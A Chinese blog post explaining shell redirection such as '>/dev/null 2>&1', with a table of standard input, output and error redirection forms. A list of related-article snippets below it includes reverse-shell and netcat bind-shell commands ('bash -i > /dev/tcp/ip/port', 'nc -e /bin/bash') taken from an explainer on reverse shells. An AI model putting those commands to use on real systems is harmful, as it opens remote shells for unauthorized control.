`
dengqsintyt
  • 浏览: 288426 次
  • 性别: Icon_minigender_1
社区版块
存档分类
最新评论

Shell的标准输出、标准错误 >/dev/null 2>&1

 
阅读更多

        在经常写shell脚本时,经常看到:>/dev/null 2>&1

        如,        

netstat -nlp | grep 9780 | awk '{print $7}' | awk -F "/" '{print $1}' 1>/dev/null 2>/dev/null

            

          解释:

  •          > 代表重定向到哪里,例如:echo "test" > /home/test.txt
  •            1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"
  •          2 表示stderr标准错误
  •          & 表示等同于的意思,2>&1,表示2的输出重定向等同于1

           那么,上面语句的意思是:

  •          1>/dev/null 首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
  •              2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

              总结:               

command < filename			把标准输入重定向到filename文件中
command 0< filename			把标准输入重定向到filename文件中

command > filename			把标准输出重定向到filename文件中(覆盖)
command 1> fielname			把标准输出重定向到filename文件中(覆盖)

command >> filename			把标准输出重定向到filename文件中(追加)
command 1>> filename			把标准输出重定向到filename文件中(追加)

command 2> filename			把标准错误重定向到filename文件中(覆盖)
command 2>> filename			把标准输出重定向到filename文件中(追加)

command > filename 2>&1			把标准输出和标准错误一起重定向到filename文件中(覆盖)
command >> filename 2>&1		把标准输出和标准错误一起重定向到filename文件中(追加)

command < filename >filename2		把标准输入重定向到filename文件中,把标准输出重定向
                                                        到filename2文件中
command 0< filename 1> filename2	把标准输入重定向到filename文件中,把标准输出重定向
                                                        到filename2文件中

   

              重定向的使用有如下规律:             

1)标准输入0、输出1、错误2需要分别重定向,一个重定向只能改变它们中的一个。
2)标准输入0和标准输出1可以省略。(当其出现重定向符号左侧时)
3)文件描述符在重定向符号左侧时直接写即可,在右侧时前面加&。
4)文件描述符与重定向符号之间不能有空格!

 

 

 

分享到:
评论

相关推荐

    linux反弹shell的原理详解

    bash -i &gt; /dev/tcp/ip/port 0&gt;&1 2&gt;&1 利用nc反弹shell: nc -lvvp 12345 -t -e /bin/bash 原理 bash -i &gt; /dev/tcp/ip/port 0&gt;&1 2&gt;&1 bash -i 打开一个交互式的bash &是为了区分文件1和文件描述符1的 a&gt;&b 的...

    详解shell中/dev/null 2&1到底是什么

    相信大家经常能在shell脚本中发现&gt;/dev/null 2&gt;&1这样的语句。以前的我并没有去深入地理解这段命令的作用,照搬照用,直到上周我将这段命令不小心写成了2&gt;&1 &gt;/dev/null,出了一点小问题之后,我才开始去了解这段...

    shell中1小于/dev/null 2大于1的含义

    shell中可能经常能看到:&gt;/dev/null 2&gt;&1 命令的结果可以通过%&gt;的形式来定义输出 /dev/null 代表空设备文件 &gt; 代表重定向到哪里,例如:echo “123” &gt; /home/123.txt 1 表示stdout标准输出,系统默认值是1,所以”&gt;...

    shell中1小于/dev/null 2大于&amp;1的含义

    shell中可能经常能看到:&gt;/dev/null 2&gt;&1,这里简单介绍下,方便需要的朋友

    shell 脚本自动搭建nfs服务的方法示例

    本文介绍了shell 脚本自动搭建nfs服务的方法...ping -c 1 172.16.13.254 &gt;/dev/null && echo **********网络ok********** #第一步:关闭selinux和防火墙 setenforce 0 &gt;/dev/null && echo **********selinux已关闭**

    详解shell中&gt;/dev/null 2&gt;&1到底是什么

    主要介绍了shell中&gt;/dev/null 2&gt;&1到底是什么,文中介绍的很详细,需要的朋友可以参考借鉴,下面来一起看看吧。

    shell脚本:一键配置本地yum源仓库

    yum.sh shell脚本内容: ... mount /dev/cdrom /mnt &&gt; /dev/null cd /mnt/Packages/ if [ $? -eq 0 ] then echo 已将系统安装光盘挂载至/mnt目录下 cp -rf /etc/yum.repos.d/* /home/ rm -rf /etc/yum.repos

    linux shell 中 2>1的含义

    linux shell 中”2&gt;&1″的含义 脚本: nohup /mnt/Nand3/H2000G &gt;/dev/null 2&gt;&1 & 对于& 1 更准确的说应该是文件描述符 1,而1 一般代表的就是STDOUT_FILENO,实际上这个操作就是一个dup2(2)调用.他标准输出到all_...

    shell命令精品教程

    第一部分s h e l l&lt;br /&gt;1、 文件的安全与权限,&lt;br /&gt;2、使用find和xargs&lt;br /&gt;3、后台执行命令&lt;br /&gt;4、文件名置换&lt;br /&gt;5、shell输入与输出&lt;br /&gt;6、命令执行顺序&lt;br /&gt;7、文本过滤 &lt;br /&gt;8、grep 家族&lt;br /&gt;9、...

    hella-verbose:使你的 shell 脚本变得冗长

    if hash espeak 2&gt; /dev/null ; then echo " $@ " | espeak -s 120 2&gt; /dev/null elif hash /usr/bin/say 2&gt; /dev/null ; then /usr/bin/say " $@ " 2&gt; /dev/null fi } 例子 #! /bin/sh say () { echo " $@ ...

    深入理解Linux shell中2&1的含义(全网最全,看完就懂)

    A.首先了解下1和2在Linux中代表什么 在Linux系统中0 1 2是一个文件描述符 名称 代码 ...Linux 下文件描述符.../dev/stdout -&gt; /proc/self/fd/1 -&gt; /dev/pts/0 标准错误输出(stderr) 2 2&gt; 或 2&gt;&gt; System.err /

    中兴B860AV2.1T 电视机顶盒安装当贝桌面、第三方软

    中兴B860AV2.1T电视机顶盒打开ADB是二维码的需要下载降级包降级 1:首先开ADB是二维码的需要下载降级包降级。... 2:上传3个文件到升级分区,当贝...adb shell "dd if=/cache/backup/conf of=/dev/block/conf" adb reboot

    SuperSU-v2.8.2.zip

    1、下载好的资源在/Users/newmanzhou/Downloads/study_space/Android/SR5-SuperSU-v2 安装App 后打开,退出 2、先以root方式运行adb adb root adb remount adb -e push /Users/mac02/Downloads/SuperSU-v2.79-...

    Shell编程-流程控制-for循环

    Shell编程-流程控制-for循环

    shell脚本定时检测服务健康指标

    检测服务监控脚本,可设置定时执行及...*/5 * * * * /bin/bash /home/mysh/service-health-check.sh &gt;/dev/null 2&gt;&1 开机启动: vim /etc/rc.local /bin/bash /home/mysh/service-health-check.sh &gt;/dev/null 2&gt;&1 &

    一个简单的防CC攻击Shell脚本分享

    /bin/shcd /var/log/httpd/cat access_log|awk ‘{print $1}’|sort|uniq -c|sort -n -r|head -n 20 &gt; acp /dev/null access_logcp /dev/null error_logcp /dev/null limit.shcp /dev/null c#awk ‘{print $2}’ a|...

    从数据库中取变量传递给shell,生成环境变量

    #Sqlplus user/pwd@ip @myshellpara.sql $&gt; /dev/null Sqlplus user/pwd@ip @myshellpara.sql $&gt; /dev/null chmod 777 myshellvar_export.sh #注意.这里的技巧,变相执行 myshellvar_export.sh,生成linux 系统的环境...

    输出执行操作和打印日志的shell脚本实例

    cat /mnt/log_function.sh #!/bin/bash #log function ...echo “${DATE} ${USER} execute $0 [INFO] $@” &gt;&gt;/var/log/log_info.log ######($0脚本本身,$@将参数作为整体传输调用) } log_error打印shell脚本

    实现释放CentOS系统内存的Shell脚本分享

    这几天发现CentOS系统内存一直涨,即使把apache和mysql关闭了,内存也不释放,可以... #echo 1 &gt; /proc/sys/vm/drop_caches   # To free dentries and inodes:   #echo 2 &gt; /proc/sys/vm/drop_caches   # To fre

Global site tag (gtag.js) - Google Analytics